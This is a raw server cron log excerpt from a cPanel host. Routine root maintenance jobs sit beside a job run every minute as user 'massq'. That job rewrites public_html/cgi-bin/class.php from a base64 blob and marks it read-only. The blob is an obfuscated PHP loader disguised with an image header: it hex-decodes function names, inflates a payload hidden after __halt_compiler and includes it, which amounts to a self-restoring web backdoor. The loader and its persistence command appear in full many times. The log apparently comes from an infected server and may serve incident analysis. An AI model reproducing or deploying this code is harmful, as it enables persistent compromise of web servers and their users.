m5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:16:01 server CROND[22043]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:17:01 server CROND[22428]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:17:01 server CROND[22429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:17:01 server CROND[22430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:18:01 server CROND[22899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:18:01 server CROND[22942]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:18:01 server CROND[22943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:19:01 server CROND[23337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:19:01 server CROND[23338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:19:01 server CROND[23339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:20:01 server CROND[23863]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 00:20:01 server CROND[23864]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 00:20:01 server CROND[23867]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 00:20:01 server CROND[23870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:20:01 server CROND[23868]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:20:01 server CROND[23866]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:20:01 server CROND[23871]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 00:20:01 server CROND[23865]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 00:20:01 server CROND[23869]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 00:21:01 server CROND[24662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:21:01 server CROND[24663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:21:01 server CROND[24661]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:22:01 server CROND[25035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:22:01 server CROND[25036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:22:01 server CROND[25037]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:23:01 server CROND[25408]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:23:01 server CROND[25409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:23:01 server CROND[25412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:24:01 server CROND[25789]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:24:01 server CROND[25790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:24:01 server CROND[25791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:25:01 server CROND[26266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:25:01 server CROND[26268]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 00:25:01 server CROND[26269]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 00:25:01 server CROND[26271]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 00:25:01 server CROND[26273]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:25:01 server CROND[26270]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:25:01 server CROND[26272]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 00:25:01 server CROND[26274]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 13 00:26:01 server CROND[27218]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:26:01 server CROND[27217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:26:01 server CROND[27219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:27:01 server CROND[27595]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 00:27:01 server CROND[27596]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:27:01 server CROND[27598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:27:01 server CROND[27597]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:28:01 server CROND[27972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:28:01 server CROND[27973]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
